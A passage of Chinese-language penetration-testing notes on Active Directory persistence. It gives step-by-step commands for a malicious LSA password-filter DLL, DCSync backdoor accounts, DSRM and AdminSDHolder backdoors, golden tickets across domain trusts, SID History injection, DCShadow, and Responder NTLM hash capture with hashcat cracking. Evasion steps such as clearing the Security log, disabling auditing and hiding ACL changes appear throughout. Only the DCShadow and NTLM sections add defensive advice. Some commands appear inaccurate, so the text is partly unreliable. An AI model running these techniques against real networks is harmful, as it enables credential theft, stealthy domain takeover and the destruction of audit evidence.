  2. 注册DLL
    1
    2
    # 修改注册表
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages" /t REG_MULTI_SZ /d "evildll" /f
  3. 重启生效:需重启系统或LSASS进程。

特点

  • 深度隐蔽:与系统密码策略集成,难以被常规审计发现。
  • 全局生效:影响所有用户密码验证流程。

持久化

  • 将DLL复制到System32目录并锁定权限防止删除。
  • 禁用Windows文件保护(WFPC)或利用驱动程序绕过签名校验。

4. 修改NTDS.dit数据库

原理
直接修改域控的NTDS.dit数据库,为所有用户账户添加相同的备用密码哈希(LM/NTLM)。
操作步骤

  1. 获取数据库访问权限:通过Volume Shadow Copy或直接复制NTDS.ditSYSTEM注册表文件。
  2. 离线注入哈希:使用工具(如secretsdump.pynthash.py)批量修改用户哈希。
  3. 恢复数据库:替换原始文件并重启域控。

特点

  • 高风险:操作不当易导致数据库损坏。
  • 高隐蔽性:用户正常密码不变,仅攻击者知晓备用哈希。

持久化

  • 定期同步更新备用哈希以匹配密码策略。
  • 结合ACL后门防止数据库文件被审计。

4.DCSnc 后门


DCSync 是一种通过模拟域控制器(DC)的复制行为,利用 目录复制服务(DRS)协议 获取域内所有用户密码哈希的技术。攻击者通过为普通用户或隐藏账户授予 复制目录更改(Replicating Directory Changes All) 权限,使其具备类似域控制器的数据同步能力,从而实现持久化权限维持。


二、攻击流程

1. 授予DCSync权限

通过修改目标用户或计算机账户的ACL(访问控制列表),添加 DS-Replication-Get-Changes-All 权限。

PowerShell (PowerView) 示例

1
2
3
4
5
6
7
8
# 导入PowerView模块
Import-Module .\PowerView.ps1

# 授予用户 "BackdoorUser" DCSync权限
Add-DomainObjectAcl -TargetDistinguishedName "DC=example,DC=com" -PrincipalIdentity BackdoorUser -Rights DCSync

# 验证权限是否添加成功
Get-DomainObjectAcl -Identity "DC=example,DC=com" | ? { $_.SecurityIdentifier -eq (Get-DomainUser BackdoorUser).SID }

dsacls 命令行工具示例

1
dsacls "DC=example,DC=com" /G "EXAMPLE\BackdoorUser:CA;Replicating Directory Changes All"

2. 创建隐蔽账户(可选)

创建不易被发现的隐藏账户,如 影子账户机器账户

1
2
3
4
5
# 创建隐藏用户(设置不可逆密码)
New-ADUser -Name "svc_backup" -AccountPassword (ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force) -Enabled $true -PasswordNeverExpires $true

# 将用户添加到低权限组(如 "Domain Users"),避免引起注意
Add-ADGroupMember -Identity "Domain Users" -Members svc_backup

3. 执行DCSync导出哈希

使用 MimikatzImpacket 导出域内哈希:

1
2
3
4
5
# Mimikatz
mimikatz "lsadump::dcsync /domain:example.com /user:krbtgt"

# Impacket (secretsdump.py)
secretsdump.py example.com/[email protected] -just-dc

三、权限维持与隐蔽手段

1. ACL隐藏技术

  • 继承禁用
    修改ACL继承设置,使权限条目不通过常规工具(如Active Directory用户和计算机)显示。
    1
    Set-ADObject -Identity "DC=example,DC=com" -Replace @{nTSecurityDescriptor = (Get-ADObject -Identity "DC=example,DC=com" -Properties nTSecurityDescriptor).nTSecurityDescriptor}
  • 混淆安全标识符(SID)
    使用 SID History注入跨域信任关系 隐藏真实权限来源。

2. 日志绕过

  • 清除事件日志
    使用 wevtutil 删除相关事件记录:
    1
    wevtutil cl Security  # 清除安全日志
  • 禁用日志记录
    修改组策略关闭敏感操作审计(需管理员权限):
    1
    Set-GPOAuditPolicy -Path "DC=example,DC=com" -Category "DS Access" -AuditType "None"

3. 定期同步与自动化

  • 计划任务触发DCSync
    通过域控或受控主机定时执行哈希导出:
    1
    schtasks /create /tn "DCSyncTask" /tr "C:\tools\mimikatz.exe \"lsadump::dcsync\" /domain:example.com" /sc weekly /ru SYSTEM
  • 邮件或外传通道
    将导出的哈希自动发送至外部服务器(如HTTPS API或邮件)。

5.DSRM


一、DSRM 的核心作用

DSRM(Directory Services Restore Mode) 是 Windows 域控制器的安全修复模式,用于在 Active Directory 数据库(ntds.dit)损坏时执行还原操作。其本地管理员账户(.\Administrator)的密码独立于域账户体系,成为攻击者隐蔽权限维持的理想后门。


二、DSRM 权限持久化原理

  1. 密码独立性
    DSRM 密码在域控安装时设置,与域管理员密码无关,且默认不会自动同步。即使域管理员密码被重置,DSRM 密码仍有效。
  2. 本地特权
    DSRM 账户拥有本地 SYSTEM 权限,可绕过域策略直接访问域控文件系统(如提取 ntds.dit)。
  3. 隐蔽性
    DSRM 登录行为通常不会触发域日志(如 Event ID 4624),仅记录在本地安全日志中,难以被集中监控。

三、攻击流程

1. 获取当前 DSRM 密码

  • 从 ntds.dit 中提取(需域控权限):
    1
    2
    # 使用 Mimikatz 提取 DSRM 账户信息
    mimikatz "lsadump::lsa /name:Administrator /id:500" # 查找 RID 为 500 的本地账户
  • 通过注册表查询
    1
    reg query "HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" /v DsrmAdminLogonBehavior

2. 修改 DSRM 密码

  • 使用 ntdsutil 工具
    1
    2
    3
    4
    5
    6
    ntdsutil
    set DSRM password
    reset password on server <域控主机名>
    <输入新密码>
    q
    q
  • 通过 PowerShell 脚本
    1
    Set-ADDBAccountPassword -SamAccountName Administrator -NewPassword (ConvertTo-SecureString "NewPassw0rd!" -AsPlainText -Force) -DatabasePath "C:\Windows\NTDS\ntds.dit" -SysvolPath "C:\Windows\SYSVOL"

3. 启用 DSRM 登录

默认情况下,DSRM 仅能在安全启动模式下使用。需修改注册表允许在正常模式登录:

1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f
  • 值说明
    • 0:仅在安全启动模式允许 DSRM 登录。
    • 1:禁止 DSRM 登录。
    • 2:允许在域控正常运行时使用 DSRM 登录。

4. 持久化利用

  • 通过 DSRM 登录域控
    使用修改后的密码本地登录,执行高权限操作(如启动 Mimikatz 提取哈希):
    1
    2
    # 使用 PsExec 远程登录(需本地管理员权限)
    PsExec.exe \\DC01 -u Administrator -p NewPassw0rd! cmd.exe
  • 部署隐蔽后门
    结合 计划任务WMI 事件订阅,在系统启动时重新激活 DSRM 权限。

6.AdminSDHolder与影子组


一、AdminSDHolder的核心原理

AdminSDHolder 是 Active Directory 中的一个特殊容器(位于 CN=AdminSDHolder,CN=System,DC=example,DC=com),其 ACL(访问控制列表)会被定期同步到所有受保护的高权限组(如 Domain AdminsEnterprise Admins)和用户,确保其权限不被意外篡改。同步由 SDProp(Security Descriptor Propagator) 进程完成,默认每 60 分钟 执行一次。

二、影子组的定义与作用

影子组 是攻击者创建或利用的普通用户组,通过修改 AdminSDHolder 的 ACL,将影子组添加到其权限列表中,从而间接控制所有受保护的高权限组。影子组本身不具备特权,但其权限会通过 SDProp 同步到所有受保护对象,实现隐蔽的权限维持。


三、攻击流程详解

步骤 1:创建影子组

创建一个看似无害的用户组(如 “IT_Support”),用于隐藏攻击意图:

1
2
New-ADGroup -Name "IT_Support" -GroupScope Global -GroupCategory Security
Add-ADGroupMember -Identity "IT_Support" -Members AttackerUser

步骤 2:修改AdminSDHolder的ACL

使用 PowerViewActive Directory模块 授予影子组对 AdminSDHolder 的完全控制权限:

1
2
3
4
5
6
7
8
9
# 使用 PowerView
Import-Module .\PowerView.ps1
Add-ObjectAcl -TargetDistinguishedName "CN=AdminSDHolder,CN=System,DC=example,DC=com" -PrincipalIdentity IT_Support -Rights All

# 使用 AD 模块(需RSAT)
$acl = Get-ACL "AD:CN=AdminSDHolder,CN=System,DC=example,DC=com"
$sid = (Get-ADGroup IT_Support).SID
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $sid, "GenericAll", "Allow"))
Set-ACL -Path "AD:CN=AdminSDHolder,CN=System,DC=example,DC=com" -AclObject $acl

步骤 3:触发SDProp同步

默认每60分钟自动同步,也可手动触发(需域控重启或强制同步):

1
2
3
4
5
# 重启域控(高风险)
shutdown /r /t 0

# 使用 Mimikatz 强制触发(需SYSTEM权限)
mimikatz "lsadump::dcsync /path:CN=AdminSDHolder,CN=System,DC=example,DC=com"

步骤 4:通过影子组行使特权

影子组成员(如 AttackerUser)可修改受保护组的成员(如添加自己到 Domain Admins):

1
Add-ADGroupMember -Identity "Domain Admins" -Members AttackerUser

四、技术原理深度解析

  1. AdminSDHolder的ACL同步机制
    SDProp 进程将 AdminSDHolder 的 ACL 复制到所有受保护对象(标记为 adminCount=1 的对象),覆盖其原有权限。攻击者通过控制 AdminSDHolder 的 ACL,间接控制所有高权限组。

  2. 隐蔽性设计

    • 影子组低权限:影子组本身不直接拥有特权,避免被常规审计工具(如 BloodHound)标记为高危。
    • 权限继承延迟:SDProp 同步周期为60分钟,攻击痕迹不会立即暴露。
  3. 防御绕过

    • 修改 AdminSDHolder 的 ACL 无需域管理员权限,只需对容器有写权限(默认 Domain Admins 拥有此权限)。
    • 攻击者可结合 ACL 隐藏技术(如禁用继承),使权限变更难以通过 GUI 工具发现。

十、交叉信任攻击


一、交叉信任攻击的核心原理

交叉信任(Cross-Trust)攻击 是攻击者利用 Active Directory 多域环境中的 信任关系(如父子信任、林信任、外部信任),通过一个被攻陷的域(Source Domain)向另一个受信任的域(Target Domain)横向移动,最终控制整个林或外部域。其核心逻辑如下:

  • 信任密钥(Trust Key):域间信任关系通过共享密钥(NTLM Hash 或 AES Key)建立,攻击者可窃取该密钥伪造跨域票据。
  • SID History 滥用:通过注入目标域特权组的 SID,绕过权限验证。
  • 跨域资源访问:利用信任关系访问目标域的资源(如文件共享、数据库)。

二、攻击前提条件

  1. 环境要求
    • 存在跨域信任关系(如 DomainA 信任 DomainB)。
    • 攻击者已控制源域的域控制器或高权限账户。
  2. 关键凭据
    • 信任密钥(通过 DCSync 或注册表提取)。
    • 目标域的 SID(用于构造黄金票据或 SID History)。

三、攻击流程与手法

1. 提取信任密钥

  • 通过 DCSync 导出(需源域控权限):
    1
    2
    3
    4
    # 使用 Mimikatz 提取域间信任密钥
    mimikatz "lsadump::trust /patch"
    # 或使用 Impacket
    secretsdump.py domainA/[email protected] -just-dc-user domainB$
  • 从注册表导出
    1
    2
    3
    reg save HKLM\SYSTEM system.save
    reg save HKLM\SECURITY security.save
    python3 secretsdump.py -system system.save -security security.save LOCAL

2. 伪造跨域黄金票据

​ 若已获取域间信任密钥(Trust Key),可伪造跨域黄金票据(Golden Ticket),直接获得目标域权限,无需依赖SID History。

​ 使用信任密钥生成针对目标域的黄金票据:

1
2
# 使用 Mimikatz(假设目标域为 DomainB)
mimikatz "kerberos::golden /user:Administrator /domain:DomainB.com /sid:S-1-5-21-... /sids:S-1-5-21-<DomainB Admins Group> /krbtgt:<TrustKey> /ptt"
  • 关键参数
    • /sids:注入目标域特权组的 SID(如 Domain Admins)。
    • /krbtgt:信任密钥(非目标域的 krbtgt Hash)。

3. 跨域资源访问

  • 访问目标域文件共享
    1
    dir \\dc.domainB.com\C$
  • 执行 DCSync 攻击
    1
    mimikatz "lsadump::dcsync /domain:DomainB.com /user:krbtgt"
  • 横向移动至目标域主机
    1
    psexec.py DomainB.com/[email protected] -hashes <NTLM_Hash>

4. SID History 注入(跨域提权)

​ 攻击者在源域(已控)中创建用户,并注入目标域(受信任域)的高权限组SID(如Domain Admins的SID)。当该用户访问目标域资源时,系统会将其SID History视为有效权限来源,授予对应特权。

步骤1:获取源域控制权
  • 前提:已控源域的域控制器或具备Domain Admin权限。
  • 目标:修改用户属性以注入SID History。
步骤2:确定目标域高权限SID
  • 获取目标域的Domain Admins组SID(如S-1-5-21-<域标识>-512)。

  • 工具示例(PowerView):

    1
    Get-DomainGroup -Identity "Domain Admins" -Domain target-domain.com | Select-Object SID
步骤3:注入SID History
  • 使用MimikatzPowerShell修改用户属性:

    1
    2
    # Mimikatz(需SYSTEM权限)
    mimikatz "sid::add /sam:EvilUser /new:S-1-5-21-<目标域标识>-512"
    1
    2
    # PowerShell(需AD模块)
    Set-ADUser -Identity EvilUser -Replace @{sidHistory=("S-1-5-21-<目标域标识>-512")}
步骤4:跨域访问与提权
  • 使用注入SID的用户访问目标域资源:

    1
    2
    runas /user:source-domain\EvilUser cmd.exe
    dir \\dc.target-domain.com\C$ # 验证权限
  • 执行DCSync导出目标域哈希:

    1
    mimikatz "lsadump::dcsync /domain:target-domain.com /user:krbtgt"

四、信任类型与攻击影响

信任类型 攻击可行性
父子信任 高(默认双向可传递,可访问整个林资源)
林信任 中(需明确配置资源访问权限)
外部信任 低(单向不可传递,仅限特定域)
领域信任 低(与非 Windows 域交互,如 Kerberos 领域)

十一、森林权限持久化DCShadow


一、DCShadow攻击原理

DCShadow 是一种基于 Active Directory 复制机制 的高级权限维持技术,允许攻击者通过注册 恶意域控制器(Rogue DC),绕过常规权限验证直接修改 AD 数据库(ntds.dit),实现隐蔽的持久化。其核心特点如下:

  • 无需物理接触真实DC:通过伪造DC身份,利用合法的DrsReplicaAdd协议同步恶意数据。
  • 绕过日志监控:操作模拟正常域复制行为,不触发敏感事件日志(如对象修改记录)。
  • 高权限需求:需 Domain AdminEnterprise Admin 权限注册恶意DC。

二、攻击流程

1. 环境准备

  • 权限提升:获取域管理员权限(如通过Mimikatz提取哈希或Pass-the-Ticket)。
  • 工具准备:使用Mimikatz的 DCShadow模块 或PowerShell脚本(如 Invoke-DCShadow)。

2. 注册恶意域控制器

1
2
# 使用Mimikatz注册恶意DC(需SYSTEM权限)
mimikatz "lsadump::dcshadow /object:CN=Users,DC=example,DC=com /attribute:primaryGroupID /value:512"
  • 参数说明
    • /object:目标AD对象(如用户、组)。
    • /attribute:要修改的属性(如primaryGroupID设置为Domain Admins的RID 512)。
    • /value:新属性值。

3. 篡改AD对象

  • 提权用户:将普通用户加入特权组(如Domain Admins)。
  • 部署后门:修改AdminSDHolder的ACL或配置恶意组策略。
    1
    mimikatz "lsadump::dcshadow /push"

4. 触发复制与清理

  • 强制同步:触发合法DC从恶意DC拉取数据。
    1
    mimikatz "lsadump::dcshadow /execute"
  • 删除痕迹:卸载恶意DC注册信息,避免被逆向追踪。
    1
    mimikatz "lsadump::dcshadow /cleanup"

三、技术优势与隐蔽性

  1. 绕过传统检测
    • 无日志记录:AD对象修改操作不生成Event ID 5136(对象属性变更)。
    • 合法协议滥用:利用DRS(Directory Replication Service)协议,流量加密且与正常复制行为相似。
  2. 持久化效果
    • 直接修改数据库:更改写入ntds.dit,重启后仍有效。
    • 无文件落地:操作全程在内存中完成,不触发文件监控。

四、攻击场景示例

场景1:隐蔽提权

  1. 攻击者控制用户UserA,将其primaryGroupID改为512(Domain Admins组RID)。
  2. 通过DCShadow推送修改,UserA获得域管理员权限。
  3. 合法DC同步后,UserA可访问所有域资源。

场景2:ACL后门

  1. 修改AdminSDHolder的ACL,添加影子组BackdoorGroup的完全控制权限。
  2. 所有受保护组(如Domain Admins)的ACL被同步更新,影子组成员获得持久控制权。

五、检测与防御

1. 检测方法

  • 网络流量分析
    • 监控异常的 DRS远程过程调用(RPC) 请求,尤其是来自非DC主机的流量。
    • 使用Wireshark过滤dcerpc.cn协议,检查DrsReplicaAdd调用来源。
  • 日志监控
    • Event ID 4662:关注DS-Replication-Get-Changes-All操作的来源IP。
    • Event ID 4742:检查新注册的域控制器(恶意DC通常无正常SPN)。
  • 工具扫描
    • ADExplorer:手动检查域控制器列表中的异常条目。
    • BloodHound:识别异常的ACL修改或用户权限提升路径。

2. 防御措施

  • 权限最小化
    • 限制 Domain Admins 组权限,避免账户被滥用。
    • 禁用不必要的域控制器注册权限(默认允许Domain Admins)。
  • 网络隔离
    • 限制域控制器间的RPC通信(端口135、445、636)仅允许可信IP。
    • 启用SMB签名与LDAPS加密,防止中间人攻击。
  • 增强监控
    • 配置SIEM工具(如Splunk)实时告警异常DRS事件。
    • 定期审计AD对象的属性变更(如primaryGroupIDsidHistory)。
  • 补丁与加固
    • 安装AD复制的安全更新(如KB5008380)。
    • 启用 LSA保护(Credential Guard) 防止凭据窃取。

六、清除后门

  1. 回滚AD修改
    • 使用合法域控制器强制同步正确配置。
    • 手动修复被篡改的AD对象属性。
  2. 移除恶意DC
    1
    2
    # 使用ntdsutil删除恶意DC
    ntdsutil "metadata cleanup" "connections" "connect to server legit-dc" "quit" "select operation target" "list domains" "select domain 0" "list sites" "select site 0" "list servers" "select server <恶意DC编号>" "quit" "remove selected server"
  3. 审计与恢复
    • 重置受影响用户的凭据与组成员关系。
    • 验证AdminSDHolder与系统容器的ACL配置。

七、总结

DCShadow利用Active Directory的复制机制,实现了极难检测的持久化攻击。其隐蔽性源于对合法协议的滥用与无日志特性,防御需结合网络隔离、权限控制与深度行为分析。对于企业安全团队而言,持续监控域控制器间的异常通信、严格管理高权限账户,是抵御此类高级威胁的关键。

十二、其他补充知识点

一.利用协议降级进行NTLM嗅探

针对通过 DNS降级、LLMNR/NetBIOS投毒 结合 NTLM哈希嗅探 的攻击方式,以下是技术原理、攻击流程及防御方案:


1. 攻击原理:名称解析协议的弱点

(1) 名称解析协议降级

  • DNS解析失败后的备用机制:当客户端通过DNS无法解析目标主机名时,会自动回退到 LLMNR(链路本地多播名称解析,IPv6)或 NetBIOS-NS(IPv4)进行本地网络广播查询。
  • 攻击者利用点:攻击者监听并伪造响应,声称自己是目标主机,诱导客户端向攻击者发起认证请求(如SMB、HTTP等),从而获取NTLM哈希。
  • LLMNR:使用多播地址 FF02::1:3(IPv6)或 224.0.0.252(IPv4),在本地子网内广播查询。
  • NetBIOS-NS:通过UDP 137端口广播查询(IPv4)。
  • 无认证机制:这些协议未验证响应者身份,攻击者可轻易伪造响应。

2. 攻击流程

步骤1:诱骗客户端发起认证

  1. 用户或服务尝试访问一个不存在的共享路径(如误输 \\fileserver\share)。
  2. DNS解析失败后,客户端通过LLMNR/NetBIOS广播查询 fileserver
  3. 攻击者(如使用 Responder 工具)抢先响应,声明自己是 fileserver

步骤2:触发NTLM认证

  • 客户端向攻击者伪装的服务器发起SMB、HTTP或FTP等协议连接。
  • 攻击者发送认证挑战(Challenge),客户端计算NTLM响应(包含用户密码的哈希)并返回。

步骤3:捕获NTLM哈希

  • 攻击者捕获客户端的NTLM响应(如 NTLMv2-Hash),后续可通过离线暴力破解或中继攻击(Relay)利用该哈希。

3. 常用工具

  • Responder:自动化监听LLMNR/NetBIOS请求并伪造响应,捕获NTLM哈希。
    1
    python3 Responder.py -I eth0
  • Inveigh(Windows PowerShell):类似Responder,支持更多协议。
  • mitm6:利用IPv6 DHCP投毒,强制客户端使用攻击者控制的DNS服务器。

4. 攻击示例(Responder 捕获NTLMv2哈希)

  1. 启动Responder
    1
    responder -I eth0 -wrf
    • -wrf:启用HTTP/SMB/FTP等服务的伪造。
  2. 诱导客户端触发请求
    • 用户点击无效的共享链接(如 \\fake-server\share)。
  3. 捕获哈希
    • Responder 输出捕获的NTLMv2哈希(保存为 hash.txt):
      1
      [SMB] NTLMv2-SSP Hash captured from 192.168.1.10: john::DOMAIN:1122334455667788:AAAAAAA...
  4. 破解哈希
    • 使用 Hashcat 暴力破解:
      1
      hashcat -m 5600 hash.txt /path/to/wordlist.txt

5. 防御方案

(1) 禁用不安全的协议

  • 关闭LLMNR(组策略):
    1
    计算机配置 → 管理模板 → 网络 → DNS客户端 → 关闭LLMNR → 启用
  • 禁用NetBIOS(网络适配器属性):
    • IPv4高级设置 → WINS → 禁用NetBIOS over TCP/IP。
  • 限制IPv6使用(如无需IPv6):
    • 禁用IPv6或配置防火墙规则过滤本地链路多播。

(2) 强制使用DNS安全扩展

  • 配置DNSSEC,防止DNS投毒。
  • 确保内网DNS服务器可靠,避免解析失败。

(3) 阻止NTLM协议滥用

  • 启用SMB签名(防止中继攻击):

    1
    组策略 → 计算机配置 → 策略 → 安全设置 → 本地策略 → 安全选项 → Microsoft网络服务器: 数字签名通信(总是)
  • 禁用NTLMv1,仅允许NTLMv2或Kerberos:

    1
    组策略 → 计算机配置 → 策略 → 安全设置 → 本地策略 → 安全选项 → 网络安全: LAN Manager身份验证级别 → 仅发送NTLMv2响应
  • 限制NTLM使用(通过组策略或注册表)。

(4) 网络监控与隔离

  • 检测异常的LLMNR/NetBIOS流量(如非管理员主机的响应)。
  • 分段内网,限制敏感主机的多播通信。

(5) 用户教育与策略

  • 培训用户避免点击未知共享链接。
  • 使用主机名全称(FQDN)访问资源,减少解析失败概率。

6. 扩展:中继攻击(Relay)防御

若攻击者将捕获的NTLM哈希直接中继到其他服务(如Exchange、AD CS),危害更大:

  • 启用LDAP/SMB签名:中继攻击要求目标服务禁用签名。
  • 启用EPA(Extended Protection for Authentication):绑定HTTPS通道与认证信息。

总结

通过 LLMNR/NetBIOS投毒NTLM哈希捕获 是内网渗透的常见手法,防御需结合协议禁用、认证加固和网络监控。企业应优先使用 Kerberos 并彻底淘汰NTLM协议。